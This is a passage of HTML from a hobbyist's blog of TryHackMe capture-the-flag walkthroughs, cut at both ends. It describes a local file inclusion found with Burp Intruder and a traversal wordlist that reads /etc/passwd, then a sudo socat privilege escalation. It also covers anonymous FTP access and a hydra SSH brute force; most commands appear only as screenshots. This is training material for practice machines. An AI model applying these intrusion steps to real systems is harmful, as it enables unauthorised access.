src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhCLI_ltebTD3xeKR3KOngI8sHY6ZgReIqwEhZuq2zZRYt3-arFJjmNSq5xti8wNqVSy9UBhVi6JZRIn6D1EJUw2ZDIOshcIX-dZGuHeSAy0WFxHNttuH614Lq-Nd9J6F7q9gApQ32mHarx/s320/03-18-21_1635981716.png" width="320" /></a></div><p>No dice. That said, an internal server error is a good sign. It means this query string probably isn't protected. Let's bust out <a href="https://portswigger.net/burp" target="_blank">BurpSuite</a>. For those of you who haven't used it before, here's a brief breakdown of setup. Once you start it, clicking past all the dialogs, you should notice that it has a built-in proxy that is on by default.</p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9m3-EX-tUrWZrVzhi5Sn6bw9TWeuQCUIzAqknlnHUTlXUylY85HppnIEG2eINGoSFwEsYnzmww18HCpicV03Ojkp3HFSWgKDAPPgKz0MdoGdhyphenhyphenKL73m8qtOXxGjrWbPifYh_RrQGZ417X/s1268/03-18-40_1635982838.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="933" data-original-width="1268" height="294" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg9m3-EX-tUrWZrVzhi5Sn6bw9TWeuQCUIzAqknlnHUTlXUylY85HppnIEG2eINGoSFwEsYnzmww18HCpicV03Ojkp3HFSWgKDAPPgKz0MdoGdhyphenhyphenKL73m8qtOXxGjrWbPifYh_RrQGZ417X/w400-h294/03-18-40_1635982838.png" width="400" /></a></div><p></p><p> This is on port 8080 normally, but you can check it right there on the Dashboard. Kali uses Firefox by default, so we'll want to snag <a href="https://addons.mozilla.org/en-US/firefox/addon/foxyproxy-standard/" target="_blank">FoxyProxy</a>. Once that's installed, we just need to configure a new proxy for BurpSuite.</p><p> </p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJS4AhKL5TKipfeo4mx-L2G7QPCMHu4F57Kx2mBAgVZgW6tlul2JxyFDZnhvCA1Hpd9lp1bm7WwKQt1OXndx-7CGSAuX2443mUiB6NO8idUD2XX17Tdo7YH1W02_VcvRmhyphenhyphencske_AsTsCm/s918/03-18-41_1635982872.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="695" data-original-width="918" height="242" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJS4AhKL5TKipfeo4mx-L2G7QPCMHu4F57Kx2mBAgVZgW6tlul2JxyFDZnhvCA1Hpd9lp1bm7WwKQt1OXndx-7CGSAuX2443mUiB6NO8idUD2XX17Tdo7YH1W02_VcvRmhyphenhyphencske_AsTsCm/s320/03-18-41_1635982872.png" width="320" /></a></div><br /> And then turn it on.<br /><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJPjKDmkBdptolwhJ4kUzwsEofsk0l5jSVB8YgMXQ3RlBHx7qE36HgS8bPJTkKubdufey4Y8_3iPWRkBE7WMDy-G-m2tL_RVDzdqw_svhRVGbfYu7_7UPliQLG1GvR3DonUQOPBJYG22bg/s426/03-18-49_1635983387.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="294" data-original-width="426" height="221" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjJPjKDmkBdptolwhJ4kUzwsEofsk0l5jSVB8YgMXQ3RlBHx7qE36HgS8bPJTkKubdufey4Y8_3iPWRkBE7WMDy-G-m2tL_RVDzdqw_svhRVGbfYu7_7UPliQLG1GvR3DonUQOPBJYG22bg/s320/03-18-49_1635983387.png" width="320" /></a></div><p>Then we can just refresh the LFIAttack article from the blog and Burp will intercept it.</p><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKBVC6f0L10xFF2xlE1T9HHJZde2aTwi_a_04jU7TRjJT15oUC_kUldoKYsGxgapthDH1PbLiGH1b2Xp5JnoIoLaOtlO8gsJeR8JP_3Q8GmFQ1c4bPS217ZK2_YJAMWiH-MlWbYAnxHHi0/s780/03-18-41_1635982892.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="476" data-original-width="780" height="195" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgKBVC6f0L10xFF2xlE1T9HHJZde2aTwi_a_04jU7TRjJT15oUC_kUldoKYsGxgapthDH1PbLiGH1b2Xp5JnoIoLaOtlO8gsJeR8JP_3Q8GmFQ1c4bPS217ZK2_YJAMWiH-MlWbYAnxHHi0/s320/03-18-41_1635982892.png" width="320" /></a></div><p>I had to go to the Proxy tab manually, but that's easy because it's highlighted when it captures a request. We want to select Action and send this to the Intruder section of BurpSuite. This is important because we want to test different payloads.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiOAOBcGhPDXikk68Bjn1u-QhsbM9TrIPEDKGw9Ei6aH_cKcj4hUxC8f8yG16UpHCmHx-DiyafCVgNmJjqWCaDwvVasZmKgo9puO7k8xKg_ZtG3zTeJDisDRFjqrbFSW9vbWp0sXE5w0J9/s884/11-03--18-47_1635983264.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="726" data-original-width="884" height="263" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhiOAOBcGhPDXikk68Bjn1u-QhsbM9TrIPEDKGw9Ei6aH_cKcj4hUxC8f8yG16UpHCmHx-DiyafCVgNmJjqWCaDwvVasZmKgo9puO7k8xKg_ZtG3zTeJDisDRFjqrbFSW9vbWp0sXE5w0J9/s320/11-03--18-47_1635983264.png" width="320" /></a></div><p>By default, my payload was already set for the querystring: lfiattack. If yours isn't, you can just highlight it and select "add parameter". Then we'll head on over to the Payloads subtab so we can import a payload.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgu73URadgHiSa3x0K3paN2XdJQjpO7GPwl5CPMmY-oEnC-Ij7sWXZVf2i-PGnLbfuC7DP72MBEd9PzU8nKf3bkspT6VLh_wdayxU60ANGsDMvj1cJ2FMWbNKTzYDgdHKp3FP9LOkYZ6Ane/s898/03-18-43_1635982981.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="618" data-original-width="898" height="220" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgu73URadgHiSa3x0K3paN2XdJQjpO7GPwl5CPMmY-oEnC-Ij7sWXZVf2i-PGnLbfuC7DP72MBEd9PzU8nKf3bkspT6VLh_wdayxU60ANGsDMvj1cJ2FMWbNKTzYDgdHKp3FP9LOkYZ6Ane/s320/03-18-43_1635982981.png" width="320" /></a></div><p>I'm lazy, so we're not going to enter a payload manually. We're going to go ahead and load it. I found a nice wordlist on Kali in <span style="font-family: courier;">/usr/share/wordlists/wfuzz/Injections</span> called <span style="font-family: courier;">Traversal.txt</span>. That sounds like exactly what we're looking for to do LFI. It should traverse around and see what directories we can find. So that's what I picked.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_GdmY9wc1kxbnrOZ6mjFoUrHCOCL4bBEC9BuoUxeOM2g5G_1WnVOc3uBsfmEV82VltkYy2CXJ420iBjPzYUyFj_BktwxaSKBCLHoTZWlh2ruevp-rJA_eXSrxBH0Fgi_RXor70iP0QN7k/s1029/03-18-44_1635983074.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="641" data-original-width="1029" height="199" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg_GdmY9wc1kxbnrOZ6mjFoUrHCOCL4bBEC9BuoUxeOM2g5G_1WnVOc3uBsfmEV82VltkYy2CXJ420iBjPzYUyFj_BktwxaSKBCLHoTZWlh2ruevp-rJA_eXSrxBH0Fgi_RXor70iP0QN7k/s320/03-18-44_1635983074.png" width="320" /></a></div><p>Then we just run the attack. And it didn't take long either. I sort my attack results by length, and just a few seconds in, we got a traversal to <span style="font-family: courier;">/etc/passwd</span>. Nice!<br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2GdjfiX5WJ7TRptm5_nfchWficUvAYol5VH9WKQOPnuTdgpLTi8giDA1wHAbQ1vFMRTYSrA7Wnlb2O-CB1nJuWfDFoiPj43hnYTugVr0-7yC8bELuXiOf5jLIM1YMElyGkbZFdpF_xIWG/s837/03-18-46_1635983174.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="606" data-original-width="837" height="232" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi2GdjfiX5WJ7TRptm5_nfchWficUvAYol5VH9WKQOPnuTdgpLTi8giDA1wHAbQ1vFMRTYSrA7Wnlb2O-CB1nJuWfDFoiPj43hnYTugVr0-7yC8bELuXiOf5jLIM1YMElyGkbZFdpF_xIWG/s320/03-18-46_1635983174.png" width="320" /></a></div><p>We can scroll down to the bottom and see that our falcon user left his password in here.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6v2uaHSU4fHVSOJpQKgjmFVDAZfvR-A74gnUI3uJOA6RwLJbkwVtUelEUm4LVVUQgR-bHq2KUeQjE3bdMPyKQtWtIWtc_BLZIw-HSI51Jma7_FcsudB1eKp40Hpdj3tBwGLQEea_OARdf/s516/11-03--18-46_1635983213.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="169" data-original-width="516" height="105" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEj6v2uaHSU4fHVSOJpQKgjmFVDAZfvR-A74gnUI3uJOA6RwLJbkwVtUelEUm4LVVUQgR-bHq2KUeQjE3bdMPyKQtWtIWtc_BLZIw-HSI51Jma7_FcsudB1eKp40Hpdj3tBwGLQEea_OARdf/s320/11-03--18-46_1635983213.png" width="320" /></a></div><p>Well, let's see if this is enough to SSH into the box.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihBd5OrTiybFMeR7N4ywrQ-FB0-tEtbcbp37gSjiuzuq8TVDt6Uadmt4QKu2tW8TEGU1mAaFyqC2XACuhrl0NZ8EjVYLMbi2qJU8W5LdY1EHGxae3UsdX1zMAgWCQlTMqm8rZ21LeXtpws/s643/03-18-49_1635983366.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="501" data-original-width="643" height="249" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEihBd5OrTiybFMeR7N4ywrQ-FB0-tEtbcbp37gSjiuzuq8TVDt6Uadmt4QKu2tW8TEGU1mAaFyqC2XACuhrl0NZ8EjVYLMbi2qJU8W5LdY1EHGxae3UsdX1zMAgWCQlTMqm8rZ21LeXtpws/s320/03-18-49_1635983366.png" width="320" /></a></div><p>It sure is! Is that user flag here?</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgok_7gb7EBVtp3c_AYwr6mzz4q8Tc6bqNh3uGTw-7r06Zwsju5VGzJYtr4hH3Gb0f48-T_Gc_OexVlf48XmGC8hA3o5WQXov6kb_gZy1KatU6m31-J20g_mcH4UyiQ0IVJSlWwhcKB_8A/s309/03-18-53_1635983602.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="69" data-original-width="309" height="69" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhgok_7gb7EBVtp3c_AYwr6mzz4q8Tc6bqNh3uGTw-7r06Zwsju5VGzJYtr4hH3Gb0f48-T_Gc_OexVlf48XmGC8hA3o5WQXov6kb_gZy1KatU6m31-J20g_mcH4UyiQ0IVJSlWwhcKB_8A/s0/03-18-53_1635983602.png" width="309" /></a></div><p>It sure is! Nailed it!</p><h2 style="text-align: left;">Privilege Escalation</h2><p>Let's see if we have any sudo permissions.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8s8igHaK8n1OzAbbp2aP6tJLEZBTeQLENrpIu_ZyZDlHRt_bNiD0TcxyjWROAzp1ER4ugEi_1U5PFyFcpndlDnmRlRSPMrpREjp2N2YEvJQ9n75REOrBHObjvi2qPVmZKY_UzEe8mjDrT/s750/03-18-51_1635983485.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="114" data-original-width="750" height="49" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh8s8igHaK8n1OzAbbp2aP6tJLEZBTeQLENrpIu_ZyZDlHRt_bNiD0TcxyjWROAzp1ER4ugEi_1U5PFyFcpndlDnmRlRSPMrpREjp2N2YEvJQ9n75REOrBHObjvi2qPVmZKY_UzEe8mjDrT/s320/03-18-51_1635983485.png" width="320" /></a></div><p>Socat eh? Let's check GTFOBins, and sure enough: <a href="https://gtfobins.github.io/gtfobins/socat/#sudo">https://gtfobins.github.io/gtfobins/socat/#sudo</a></p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAgnDVdQ1rfuyEA4Eih1_UArkNZ7UI4uUr3O1HzAaryK5vSKEZKtaw-MaXrjDQpEBAKKPgOIaW9q4ghDAykBiF72QEqEK6RxJECJ6I-YObnuKIiwLTVxF3Qek-duJjLytskgkEenSL1gCu/s916/03-18-54_1635983652.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="336" data-original-width="916" height="117" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiAgnDVdQ1rfuyEA4Eih1_UArkNZ7UI4uUr3O1HzAaryK5vSKEZKtaw-MaXrjDQpEBAKKPgOIaW9q4ghDAykBiF72QEqEK6RxJECJ6I-YObnuKIiwLTVxF3Qek-duJjLytskgkEenSL1gCu/s320/03-18-54_1635983652.png" width="320" /></a></div><p>That seems like a simple enough script. Let's run it.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlmBw_95cWHd2bRNyGPTcTV8ASRRV6L9BRmjdEOU02PO9vbnowmVNDp_9vxBkoW2tUYcVVaYr-SQ27iGyQGcYjdjoir_owN5ur53lZR6uFcG3i_RpefTJmzEsB2ksmeWVUML-sF0VA7eU9/s444/03-18-54_1635983682.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="70" data-original-width="444" height="50" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhlmBw_95cWHd2bRNyGPTcTV8ASRRV6L9BRmjdEOU02PO9vbnowmVNDp_9vxBkoW2tUYcVVaYr-SQ27iGyQGcYjdjoir_owN5ur53lZR6uFcG3i_RpefTJmzEsB2ksmeWVUML-sF0VA7eU9/s320/03-18-54_1635983682.png" width="320" /></a></div><p>Nice. My shell sucks, but meh, let's see if we can find the root flag.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJLXGh3q2vsK7oZuwq2rdShVgAcNfDcP5gcscL0ItN0e_0Gx11Bp5ee-js7raQr4xPXSLf_4fsDvQAN9HBO9EwCW-2YGq5LY6_1l9qBdVmOSLGlKGI68394UbL_DSGsjI7Sd3nk4BtEuWM/s548/03-18-55_1635983722.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="548" data-original-width="238" height="320" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhJLXGh3q2vsK7oZuwq2rdShVgAcNfDcP5gcscL0ItN0e_0Gx11Bp5ee-js7raQr4xPXSLf_4fsDvQAN9HBO9EwCW-2YGq5LY6_1l9qBdVmOSLGlKGI68394UbL_DSGsjI7Sd3nk4BtEuWM/s320/03-18-55_1635983722.png" width="139" /></a></div><p>And that concludes another box! Let's keep 'em comin'!<br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p><br /></p><p></p><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div><div class="separator" style="clear: both; text-align: center;"></div>deltreeyhttp://www.blogger.com/profile/10263202829150873123noreply@blogger.com0tag:blogger.com,1999:blog-3760699503613242312.post-58810793191236149992021-10-31T22:12:00.002-04:002021-10-31T22:12:19.277-04:00TryHackMe - Bounty Hacker Room<p>Another box down! This is so much fun! I think I'm really starting to get the hang of it. This was the <a href="https://tryhackme.com/room/cowboyhacker" target="_blank">Bounty Hacker</a> box, themed after Cowboy Beebop.</p><h2 style="text-align: left;">Reconnaissance</h2><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguRr66PBy2eJDmFwRo9mQfe8kYomnhpM8nTortXZuvrezMPCOw4tQ47V2Lg9G0szlWp3WCht28_be-zFDo_hTM1WxWq4MJNm0vPrLfAVf_CDyBWhXmre8TrME3U2n3hKiibSIcm50QBzd_/s1263/31-20-20_1635729637.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="793" data-original-width="1263" height="201" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEguRr66PBy2eJDmFwRo9mQfe8kYomnhpM8nTortXZuvrezMPCOw4tQ47V2Lg9G0szlWp3WCht28_be-zFDo_hTM1WxWq4MJNm0vPrLfAVf_CDyBWhXmre8TrME3U2n3hKiibSIcm50QBzd_/s320/31-20-20_1635729637.png" width="320" /></a></div><p>The default website has some fun story text.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiENIBWOGdPnhcYe7AiRMdK61KTI72gY5dEOHx0l832BPd61sSi7hodSJbmYZuKui8w68XblgmUM_I4qDF1iyTOVncJC-24ZCK0uzJ22Mp2FDv62OyEZlcLrlsltkEZFQxrNu7c5Syut4W/s1411/31-20-21_1635729695.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="296" data-original-width="1411" height="67" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiiENIBWOGdPnhcYe7AiRMdK61KTI72gY5dEOHx0l832BPd61sSi7hodSJbmYZuKui8w68XblgmUM_I4qDF1iyTOVncJC-24ZCK0uzJ22Mp2FDv62OyEZlcLrlsltkEZFQxrNu7c5Syut4W/s320/31-20-21_1635729695.png" width="320" /></a></div><p>The themeing here is great as I'm a big anime fan myself. It's running Apache 2.4.18 on Ubuntu as per our developer tools in the browser.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-9QsF5EJJrPDqyVZNl-WlMOB0DOg3eSJvTo5XxxXjiWl3fJCyTRhb00liA0SDz-ceDt7Ge2PNf_kICSUHJ2GNk5XUAzYy2JVTaGJOlvMQ8i6YkFVfz0CwAtIy76NpLdwZiiOh6sE0qKON/s971/31-20-22_1635729729.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="386" data-original-width="971" height="127" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEi-9QsF5EJJrPDqyVZNl-WlMOB0DOg3eSJvTo5XxxXjiWl3fJCyTRhb00liA0SDz-ceDt7Ge2PNf_kICSUHJ2GNk5XUAzYy2JVTaGJOlvMQ8i6YkFVfz0CwAtIy76NpLdwZiiOh6sE0qKON/s320/31-20-22_1635729729.png" width="320" /></a></div><p></p><p>And since there's no other hints here, we're on to enumeration.</p><h2 style="text-align: left;">Enumeration<br /></h2><p>We start with nmap as it is the standard.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg55dbhPVFFwTibFDXypl8JGl5DeUx3YGnSQBaXdPX5wAMulwUBcDNsge4Jx30xP4Ea1Q6qv1boL3RWlQjab6J5V4_pr1xeEgH_nD93ud6Ttl7QdB43VgyXkw82US2UHhmftUskbGbMQMuu/s766/31-20-24_1635729853.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="231" data-original-width="766" height="97" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEg55dbhPVFFwTibFDXypl8JGl5DeUx3YGnSQBaXdPX5wAMulwUBcDNsge4Jx30xP4Ea1Q6qv1boL3RWlQjab6J5V4_pr1xeEgH_nD93ud6Ttl7QdB43VgyXkw82US2UHhmftUskbGbMQMuu/s320/31-20-24_1635729853.png" width="320" /></a></div><p>I noticed FTP is open. That could be useful later. Let's check out gobuster.<br /></p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNKa-Y5DJZ_RQo3eIJ7c6D7XzKvNltWmd-IZDObFXFF6kdMhfbyHup0uBQsCFhvFjj5Jpo-bmFkazoyTzwf0EiYHrhercJDqE-q0gWx4S61DdlorFpETuBTGT6B03vIvldnC6BwKu-CSeG/s639/31-20-34_1635730493.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="361" data-original-width="639" height="181" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgNKa-Y5DJZ_RQo3eIJ7c6D7XzKvNltWmd-IZDObFXFF6kdMhfbyHup0uBQsCFhvFjj5Jpo-bmFkazoyTzwf0EiYHrhercJDqE-q0gWx4S61DdlorFpETuBTGT6B03vIvldnC6BwKu-CSeG/s320/31-20-34_1635730493.png" width="320" /></a></div> <p></p><p>I wonder if this images directory has anything interesting.</p><p><br /> </p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxouSUVbrlnATnx3n605Ub8VxkCrBJnUqtGjm9L9YbAb38dE9Dk2R7KijwnOIVbknY3iO58Nukqv1OxowsRt1s9uUCTUSq3ixJk99xCmwXQqayd8ZbbD2nhuX6Xr6eebh2dvftYqYuN_hB/s503/31-20-33_1635730402.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="353" data-original-width="503" height="225" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxouSUVbrlnATnx3n605Ub8VxkCrBJnUqtGjm9L9YbAb38dE9Dk2R7KijwnOIVbknY3iO58Nukqv1OxowsRt1s9uUCTUSq3ixJk99xCmwXQqayd8ZbbD2nhuX6Xr6eebh2dvftYqYuN_hB/s320/31-20-33_1635730402.png" width="320" /></a></div><p>Meh, not much here. Ok, let's see if we can exploit the FTP server.</p><h2 style="text-align: left;">Exploitation<br /></h2><p>FTP on port 21 is insecure, so let's see if it will let us login as anonymous. <br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJn5twL2B5q4KEzoH_Gt5pIUv9Eoz9KEwZtpGgBIr_q4qopBdnuLPhaFRc5Wg8BXdttTsaTJyIZiMqb4Jr9m9pjHALrr4Jj1YLdZ8Dm3OV1OWGY4c1B7clqioGEet_UjvkwSJiRA486Bt-/s540/31-20-38_1635730689.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="226" data-original-width="540" height="134" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJn5twL2B5q4KEzoH_Gt5pIUv9Eoz9KEwZtpGgBIr_q4qopBdnuLPhaFRc5Wg8BXdttTsaTJyIZiMqb4Jr9m9pjHALrr4Jj1YLdZ8Dm3OV1OWGY4c1B7clqioGEet_UjvkwSJiRA486Bt-/s320/31-20-38_1635730689.png" width="320" /></a></div><p>It sure does and there's some files here. Let's grab those. On FTP, you use the <a href="https://www.computerhope.com/issues/ch001246.htm" target="_blank">GET</a> command to do that.<br /></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjt9-sbAfBrGMYZe1PRIpmfPJOkaly-ag2yFMhhOK88HsCPSYyz7FYWAzqlWujJ7oOZg9qcO4aQY4RezAv0jxGNXHVJ_jIJlURAStSepHR-Qk2xktwr_IKkn0s8mBM5eBYAqeVPBVtBejce/s548/31-20-38_1635730720.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="211" data-original-width="548" height="123" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjt9-sbAfBrGMYZe1PRIpmfPJOkaly-ag2yFMhhOK88HsCPSYyz7FYWAzqlWujJ7oOZg9qcO4aQY4RezAv0jxGNXHVJ_jIJlURAStSepHR-Qk2xktwr_IKkn0s8mBM5eBYAqeVPBVtBejce/s320/31-20-38_1635730720.png" width="320" /></a></div><p>Alright, let's see what's in these files.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdHCZJ-6_qKpL4kQYlW9P6TjAftlL7w2HSEA-hRJLb-xwaU5pzeded_cIPqwx6z9E__Wld7lDnEc0qwMYPVpq_54m1cLSKpx48lrVYVCX9h77wEE8qj6-4P-wEUua3an2FlgWHGUfm2Orh/s526/31-20-37_1635730647.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="106" data-original-width="526" height="64" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgdHCZJ-6_qKpL4kQYlW9P6TjAftlL7w2HSEA-hRJLb-xwaU5pzeded_cIPqwx6z9E__Wld7lDnEc0qwMYPVpq_54m1cLSKpx48lrVYVCX9h77wEE8qj6-4P-wEUua3an2FlgWHGUfm2Orh/s320/31-20-37_1635730647.png" width="320" /></a></div><p>Well, I don't know what the task list is about, but this is the answer to the question about who wrote it, and it also looks like a username.</p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxWTGKK6JvKPeJkS0pMAmK98fcUmuPUX_TBfl8u3Mu6FXqXREePFn0Xo5L6T6EbkbDfskMJ3QPZgUsMtft2WNhBReBzXjVeDgNGFDeB-TaNLALEuEA4VPwqRVMpgGugyS1-2fCsiaUuQhm/s526/31-20-37_1635730660.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="464" data-original-width="526" height="282" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhxWTGKK6JvKPeJkS0pMAmK98fcUmuPUX_TBfl8u3Mu6FXqXREePFn0Xo5L6T6EbkbDfskMJ3QPZgUsMtft2WNhBReBzXjVeDgNGFDeB-TaNLALEuEA4VPwqRVMpgGugyS1-2fCsiaUuQhm/s320/31-20-37_1635730660.png" width="320" /></a></div><p>This locks.txt file looks like a list of passwords actually. With a username and a password, let's take a closer look at the ssh server. I don't have a screenshot, but when I tried to SSH as lin, it asked for a pasword. This is great. It means that the SSH doesn't require a private key, but just a password. Cool. Let's try this password list with <a href="https://www.kali.org/tools/hydra/" target="_blank">hydra</a>.<br /></p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsYyYutQwWsjEr-Wc9NdeUTJJF5xLCE2lcJGMeP0ig8uwRWrptIUGPWqIjhzjtNOKx7lwmk1aISwn7c3a4QoEI6p9lopIHsV_ChyKZE1U5Ls_L1ONYmfqbH2g7laRkRf7zSZoyBxGsSWzn/s893/31-20-41_1635730875.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="258" data-original-width="893" height="92" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgsYyYutQwWsjEr-Wc9NdeUTJJF5xLCE2lcJGMeP0ig8uwRWrptIUGPWqIjhzjtNOKx7lwmk1aISwn7c3a4QoEI6p9lopIHsV_ChyKZE1U5Ls_L1ONYmfqbH2g7laRkRf7zSZoyBxGsSWzn/s320/31-20-41_1635730875.png" width="320" /></a></div> <p></p><p>Hydra seems to have identified our password for lin. That tells us the answer to the next question. We can bruteforce ssh with the text file. Let's see if we can login with it.<br /></p><p></p><div class="separator" style="clear: both; text-align: center;"><a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuJGcGwOqLsuDrEVooZJun1Y2tN95psvni0uMdSO3Tc1jwgqFIqiEfhxqVHPwzUYbvJUoKCAGlN4yKmYfhVn-wj2OMACJh_A1uwvfgeOfvdsB1ZB6W5CMuhgbeCPj6bHTxlukWUugYPC59/s636/31-20-41_1635730892.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" data-original-height="306" data-original-width="636" height="154" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjuJGcGwOqLsuDrEVooZJun1Y2tN95psvni0uMdSO3Tc1jwgqFIqiEfhxqVHPwzUYbvJUoKCAGlN4yKmYfhVn-wj2OMACJh_A1uwvfgeOfvdsB1ZB6W5CMuhgbeCPj6bHTxlukWUugYPC59/s320/31-20-41_1635730892.png" width="320" /></a></div><p>Woohoo! We made it! We now have the answer to the user's password. Let's see if we can find the flag.</p><div class="separator" style="clear: both; text-align: center;"><a 